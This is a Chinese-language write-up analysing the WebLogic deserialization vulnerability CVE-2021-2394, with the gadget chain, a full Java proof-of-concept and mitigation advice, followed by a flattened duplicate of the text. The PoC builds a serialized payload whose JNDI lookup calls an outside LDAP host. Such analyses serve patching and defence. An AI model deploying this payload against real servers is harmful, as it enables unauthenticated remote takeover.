weblogic漏洞分析之CVE-2021-2394
字数 3027 2025-08-04 00:38:02

WebLogic漏洞分析之CVE-2021-2394

漏洞概述

Oracle官方在2021年7月安全更新中披露了WebLogic组件存在高危漏洞(CVE-2021-2394)。攻击者可以在未授权情况下通过IIOP、T3协议对存在漏洞的WebLogic Server组件进行攻击,成功利用可接管WebLogic Server。

这是一个二次反序列化漏洞,结合了CVE-2020-14756和CVE-2020-14825的调用链,形成新的调用链绕过WebLogic黑名单列表。

影响版本

  • Oracle WebLogic Server 10.3.6.0.0
  • Oracle WebLogic Server 12.1.3.0.0
  • Oracle WebLogic Server 12.2.1.3.0
  • Oracle WebLogic Server 12.2.1.4.0
  • Oracle WebLogic Server 14.1.1.0.0

前置知识

ExternalizableLite接口

Coherence组件中的com.tangosol.io.ExternalizableLite接口:

  • 继承java.io.Serializable
  • 声明了readExternalwriteExternal方法

ExternalizableHelper类

ExternalizableHelper类可以对实现ExternalizableLite接口的类进行序列化和反序列化操作。关键方法:

  • readObject: 调用readObjectInternal
  • readObjectInternal: 根据类型选择解析方法
  • readExternalizableLite: 处理实现ExternalizableLite接口的对象

JdbcRowSetImpl类

关键方法:

  • getDatabaseMetaData: 调用this.connect
  • connect: 调用InitialContext#lookup,如果getDataSourceName()为恶意URI,可导致JNDI注入

MethodAttributeAccessor类

关键方法:

  • getAttributeValueFromObject: 可调用invoke执行任意方法(需getMethodanObjectparameters可控)

AbstractExtractor类

关键方法:

  • compare: 调用this.extract

FilterExtractor类

关键特性:

  • 实现ExternalizableLite接口
  • 继承AbstractExtractor
  • 是绕过补丁的关键类

关键方法:

  1. extract: 调用attributeAccessor.getAttributeValueFromObject
  2. readExternal: 调用SerializationHelper.readAttributeAccessor从序列化数据还原this.attributeAccessor

TopNAggregator$PartialResult类

静态内部类,实现ExternalizableLite接口。关键方法:

  • readExternal: 调用ExternalizableHelper还原元素
  • instantiateInternalMap: 创建SortedBag.WrapperComparator并传入comparator
  • add: 调用父类add方法

TreeMap类

关键方法:

  • put: 调用compare
  • compare: 调用comparator.compare

SortedBag$WrapperComparator类

关键方法:

  • compare: 调用this.f_comparator.compare

AttributeHolder类

漏洞入口点,实现readExternal方法,还原this.m_oValue时会调用ExternalizableHelper.readObject

漏洞分析

调用链(Gadget)

  1. AttributeHolder#readExternal
  2. ExternalizableHelper#readObject
  3. ExternalizableHelper#readExternalizableLite
  4. TopNAggregator$PartialResult#readExternal
  5. TopNAggregator$PartialResult#add
  6. SortedBag#add
  7. TreeMap#put
  8. SortedBag$WrapperComparator#compare
  9. FilterExtractor#compare
  10. FilterExtractor#extract
  11. MethodAttributeAccessor#getAttributeValueFromObject
  12. Method.invoke
  13. JdbcRowSetImpl#getDatabaseMetaData
  14. InitialContext#lookup

漏洞触发流程

  1. 反序列化从AttributeHolder#readExternal开始
  2. 通过ExternalizableHelper还原this.m_oValue
  3. 进入TopNAggregator$PartialResult#readExternal还原m_comparator
  4. 实例化FilterExtractor对象并调用其readExternal
  5. FilterExtractor#readExternal调用SerializationHelper.readAttributeAccessor还原attributeAccessor
  6. 创建SortedBag.WrapperComparator并传入comparator
  7. WrapperComparator传入TreeMap构造方法
  8. 调用add方法触发TreeMap#put
  9. put方法调用compare
  10. 通过WrapperComparator#compare调用FilterExtractor#compare
  11. FilterExtractor#extract调用MethodAttributeAccessor#getAttributeValueFromObject
  12. 通过反射调用JdbcRowSetImpl#getDatabaseMetaData
  13. 最终触发InitialContext#lookup实现JNDI注入

POC分析

import com.sun.rowset.JdbcRowSetImpl;
import com.supeream.serial.Serializables;
import com.tangosol.coherence.servlet.AttributeHolder;
import com.tangosol.util.SortedBag;
import com.tangosol.util.aggregator.TopNAggregator;
import oracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor;
import org.eclipse.persistence.exceptions.DescriptorException;
import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor;
import org.eclipse.persistence.mappings.AttributeAccessor;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class test {
    public static void main(String[] args) throws Exception {
        String ldapurl="ldap://192.168.202.1:1389/2rp7lc";

        MethodAttributeAccessor accessor = new MethodAttributeAccessor();
        accessor.setAttributeName("yangyang");
        accessor.setGetMethodName("connect");
        accessor.setSetMethodName("setConnection");

        Constructor<JdbcRowSetImpl> DeclaredConstructor = JdbcRowSetImpl.class.getDeclaredConstructor();
        DeclaredConstructor.setAccessible(true);
        JdbcRowSetImpl jdbcRowSet = DeclaredConstructor.newInstance();

        jdbcRowSet.setDataSourceName(ldapurl);

        FilterExtractor extractor = new FilterExtractor(accessor);
        FilterExtractor extractor1 = new FilterExtractor(new TLSAttributeAccessor());

        SortedBag sortedBag = new TopNAggregator.PartialResult(extractor1, 2);
        sortedBag.add(jdbcRowSet);

        Field m_comparator = sortedBag.getClass().getSuperclass().getDeclaredField("m_comparator");
        m_comparator.setAccessible(true);
        m_comparator.set(sortedBag, extractor);

        AttributeHolder attributeHolder = new AttributeHolder();

        Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue", Object.class);
        setInternalValue.setAccessible(true);
        setInternalValue.invoke(attributeHolder, sortedBag);

        // 序列化
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser"));
        objectOutputStream.writeObject(attributeHolder);
        objectOutputStream.close();

        // 反序列化触发漏洞
        ObjectInputStream objectIntputStream = new ObjectInputStream(new FileInputStream("poc.ser"));
        objectIntputStream.readObject();
        objectIntputStream.close();
    }
    
    public static class TLSAttributeAccessor extends AttributeAccessor {
        public Object getAttributeValueFromObject(Object o) throws DescriptorException {
            return this.attributeName;
        }

        public void setAttributeValueInObject(Object o, Object o1) throws DescriptorException {
            this.attributeName = "yangyang";
        }
    }
}

防御措施

  1. 及时安装Oracle官方发布的安全补丁
  2. 限制WebLogic Server的网络访问,禁用不必要的协议(如T3、IIOP)
  3. 实施网络隔离,将WebLogic Server置于DMZ区域
  4. 使用Web应用防火墙(WAF)检测和阻断恶意请求
  5. 监控异常网络活动,特别是对LDAP/RMI服务的出站连接

参考链接

  1. https://xz.aliyun.com/t/10052#toc-12
  2. https://github.com/lz2y/CVE-2021-2394
WebLogic漏洞分析之CVE-2021-2394 漏洞概述 Oracle官方在2021年7月安全更新中披露了WebLogic组件存在高危漏洞(CVE-2021-2394)。攻击者可以在未授权情况下通过IIOP、T3协议对存在漏洞的WebLogic Server组件进行攻击,成功利用可接管WebLogic Server。 这是一个二次反序列化漏洞,结合了CVE-2020-14756和CVE-2020-14825的调用链,形成新的调用链绕过WebLogic黑名单列表。 影响版本 Oracle WebLogic Server 10.3.6.0.0 Oracle WebLogic Server 12.1.3.0.0 Oracle WebLogic Server 12.2.1.3.0 Oracle WebLogic Server 12.2.1.4.0 Oracle WebLogic Server 14.1.1.0.0 前置知识 ExternalizableLite接口 Coherence组件中的 com.tangosol.io.ExternalizableLite 接口: 继承 java.io.Serializable 声明了 readExternal 和 writeExternal 方法 ExternalizableHelper类 ExternalizableHelper 类可以对实现 ExternalizableLite 接口的类进行序列化和反序列化操作。关键方法: readObject : 调用 readObjectInternal readObjectInternal : 根据类型选择解析方法 readExternalizableLite : 处理实现 ExternalizableLite 接口的对象 JdbcRowSetImpl类 关键方法: getDatabaseMetaData : 调用 this.connect connect : 调用 InitialContext#lookup ,如果 getDataSourceName() 为恶意URI,可导致JNDI注入 MethodAttributeAccessor类 关键方法: getAttributeValueFromObject : 可调用 invoke 执行任意方法(需 getMethod 、 anObject 、 parameters 可控) AbstractExtractor类 关键方法: compare : 调用 this.extract FilterExtractor类 关键特性: 实现 ExternalizableLite 接口 继承 AbstractExtractor 是绕过补丁的关键类 关键方法: extract : 调用 attributeAccessor.getAttributeValueFromObject readExternal : 调用 SerializationHelper.readAttributeAccessor 从序列化数据还原 this.attributeAccessor TopNAggregator$PartialResult类 静态内部类,实现 ExternalizableLite 接口。关键方法: readExternal : 调用 ExternalizableHelper 还原元素 instantiateInternalMap : 创建 SortedBag.WrapperComparator 并传入 comparator add : 调用父类 add 方法 TreeMap类 关键方法: put : 调用 compare compare : 调用 comparator.compare SortedBag$WrapperComparator类 关键方法: compare : 调用 this.f_comparator.compare AttributeHolder类 漏洞入口点,实现 readExternal 方法,还原 this.m_oValue 时会调用 ExternalizableHelper.readObject 漏洞分析 调用链(Gadget) AttributeHolder#readExternal ExternalizableHelper#readObject ExternalizableHelper#readExternalizableLite TopNAggregator$PartialResult#readExternal TopNAggregator$PartialResult#add SortedBag#add TreeMap#put SortedBag$WrapperComparator#compare FilterExtractor#compare FilterExtractor#extract MethodAttributeAccessor#getAttributeValueFromObject Method.invoke JdbcRowSetImpl#getDatabaseMetaData InitialContext#lookup 漏洞触发流程 反序列化从 AttributeHolder#readExternal 开始 通过 ExternalizableHelper 还原 this.m_oValue 进入 TopNAggregator$PartialResult#readExternal 还原 m_comparator 实例化 FilterExtractor 对象并调用其 readExternal FilterExtractor#readExternal 调用 SerializationHelper.readAttributeAccessor 还原 attributeAccessor 创建 SortedBag.WrapperComparator 并传入 comparator 将 WrapperComparator 传入 TreeMap 构造方法 调用 add 方法触发 TreeMap#put put 方法调用 compare 通过 WrapperComparator#compare 调用 FilterExtractor#compare FilterExtractor#extract 调用 MethodAttributeAccessor#getAttributeValueFromObject 通过反射调用 JdbcRowSetImpl#getDatabaseMetaData 最终触发 InitialContext#lookup 实现JNDI注入 POC分析 防御措施 及时安装Oracle官方发布的安全补丁 限制WebLogic Server的网络访问,禁用不必要的协议(如T3、IIOP) 实施网络隔离,将WebLogic Server置于DMZ区域 使用Web应用防火墙(WAF)检测和阻断恶意请求 监控异常网络活动,特别是对LDAP/RMI服务的出站连接 参考链接 https://xz.aliyun.com/t/10052#toc-12 https://github.com/lz2y/CVE-2021-2394